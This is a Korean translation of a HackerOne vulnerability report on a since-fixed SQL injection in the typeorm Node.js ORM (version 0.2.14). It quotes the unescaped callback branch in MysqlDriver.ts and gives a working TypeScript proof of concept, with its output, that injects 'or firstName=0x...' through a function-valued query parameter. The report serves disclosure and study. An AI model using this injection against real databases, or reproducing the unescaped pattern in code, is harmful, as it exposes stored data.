SQL 인젝션 (Typeorm)

출처 : [hackerone hacktivity, 작성자 : verichains (verichains)] https://hackerone.com/reports/506654

[ 본 이슈는 해결 된 상태이며, 취약점은 한국시각으로 2019년 4월 2일 오후 1시 25분에 공개되었습니다. Node.js third-party modules에 리포팅 되었으며, 소스코드는 typeorm의 자산입니다. 취약점의 종류는 SQL Injection이며, 포상금은 없습니다. 해당 취약점은 해당 도메인에서 8.6/10 정도의 심각성을 내포하고 있습니다. ]


(써드파티 모듈인) Typeorm의 SQL 인젝션을 리포팅 하고 싶습니다. 이 취약점은 데이터베이스의 자료들을 노출시킵니다.

– 모듈

  • 모듈 이름 : typeorm
  • 버전 : 0.2.14
  • npm 페이지 : https://www.npmjs.com/package/typeorm

– 모듈 설명

TypeORM은 Nodejs, 브라우저, Cordova, PhoneGap, Ionic, React Native, NativeScript, Expo 그리고 Electron platforms에서 실행될 수 있는 ORM입니다. 또한 TypeScript와 함께 쓰일 수 있으며 자바스크립트(ES5, ES6, ES7, ES8)와도 쓰일 수 있습니다. 이 모듈의 목적은 최신의 자바스크립트 기능들을 항시 지원해주는 것이고 추가 기능들을 제공해주는 것 이며 데이터베이스를 사용하는 어떤 종류의 애플리케이션 개발이라도 지원해줄 수 있도록 합니다. 몇 개 안되는 테이블을 가진 작은 애플리케이션부터 큰 스케일의 많은 데이터베이스를 가진 기업형 애플리케이션까지 말입니다.

현존하는 다른 자바스크립트 ORM들과는 다르게, TypeORM은 액티브 레코드와 데이터 매퍼 패턴 모두 지원하며, 이 말은 당신이 더 생산적인 방법으로 고 퀄리티의 중복이 적고 확장성있으며 유지가 잘되는 애플리케이션을 만들 수 있다는 것입니다

– 모듈 스탯

npm의 모듈 페이지의 숫자들과 아래의 스탯들을 교체하세요(Replace stats below with numbers from npm’s module page:) :


– 취약점

– 취약점 설명

만약 한 함수가 이스케이핑을 하지 못한다면 특정한 맥락에서 SQL 인젝션이 공격자에 의해 수행될 여지를 주게되는데 이 때 MysqlDriver.tsescapeQueryWithParameters 메소드는 직접적으로 파라미터에서 값을 리턴합니다.
https://github.com/typeorm/typeorm/blob/d9f5581b22c4cccfab55ee23fad699e1c8acadf8/src/driver/mysql/MysqlDriver.ts#L387

            if (value instanceof Function) {
                return value();

            } else {
                escapedParameters.push(value);
                return "?";
            }

의도치 않았고 잘은 모르겠지만, 그 문서 안에 정보는 없었고, (콜백 함수에 의해 값이 할당된) 만약 누군가가 이 패턴을 적용시킨다면 이것은 SQL 인젝션 공격이 될 것 입니다.

– 공격이 발생되는 과정

  • 새로운 테스트 typeorm 패키지를 생성합니다.
npx typeorm init --name Test --database mysql
  • 로컬 크리덴셜을 위해 ormconfig.json을 수정합니다.

인젝션을 테스트 해보기 위해 index.ts 를 수정합니다.

import "reflect-metadata";
import {createConnection} from "typeorm";
import {User} from "./entity/User";

createConnection().then(async connection => {

    console.log("Inserting a new user into the database...");

    for(var i=0;i<10;i++) {
        const user = new User();
        user.firstName = `Timber ${i}`;
        user.lastName = "Saw";
        user.age = 25 + i;
        await connection.manager.save(user);
        console.log("Saved a new user with id: " + user.id);
    }

    const repo = connection.getRepository(User);

    console.log(await repo.createQueryBuilder().where('firstName = :name', {name: () => "-1 or firstName=0x54696d6265722033"}).getOne());

    process.exit(0);
}).catch(error => console.log(error));

(0x54696d6265722033 는 “Timber 3” 입니다)

출력 :

Inserting a new user into the database...
User { id: 5, firstName: 'Timber 3', lastName: 'Saw', age: 28 }

– 지원하는 요소나 레퍼런스

취약점이 발견된 스택에 관련된 기술적인 정보들

  • MacOs
  • NodeJS v8.12.0
  • npm 6.4.1

– 정리

  • maintainer가 알 수 있도록 컨택했습니다 : No
  • 관련된 리포지토리 안의 정보들을 열람했습니다 : No

– 영향

공격자가 SQL 인젝션 공격을 수행할 수 있게 합니다.

“SQL 인젝션 (Typeorm)” 에 대한 2 댓글

댓글 남기기